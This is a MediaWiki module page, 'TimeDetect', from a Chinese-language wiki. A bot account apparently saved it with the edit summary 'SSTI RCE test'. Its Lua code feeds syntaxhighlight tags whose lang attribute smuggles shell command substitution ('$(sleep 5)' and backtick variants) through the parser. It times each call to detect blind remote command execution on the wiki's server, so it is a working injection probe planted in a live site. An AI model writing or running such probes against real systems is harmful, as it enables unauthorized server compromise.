模块:TimeDetect

来自希服维基
Bot93553讨论 | 贡献2026年5月9日 (六) 13:59的版本 (SSTI RCE test)
(差异) ←上一版本 | 最后版本 (差异) | 下一版本→ (差异)

可在模块:TimeDetect/doc创建此模块的帮助文档

local p = {}
function p.test(frame)
    local parent = frame:getParent()
    if not parent or not parent.preprocess then return "no_parent" end

    local results = {}

    -- Test with sleep command (if executed, will cause delay)
    local test_payloads = {
        {"baseline_nosleep", "<syntaxhighlight lang='python'>print(1)</syntaxhighlight>"},
        {"sleep_cmdsub", "<syntaxhighlight lang='$(sleep 5 2>&1)'>print(1)</syntaxhighlight>"},
        {"sleep_backtick", "<syntaxhighlight lang='`sleep 5 2>&1`'>print(1)</syntaxhighlight>"},
    }

    for _, tp in ipairs(test_payloads) do
        local start_time = os.clock()
        local ok, out = pcall(parent.preprocess, parent, tp[2])
        local elapsed = os.clock() - start_time
        results[#results+1] = tp[1] .. "=" .. string.format("%.2f", elapsed) .. "s"
    end

    return table.concat(results, " | ")
end
return p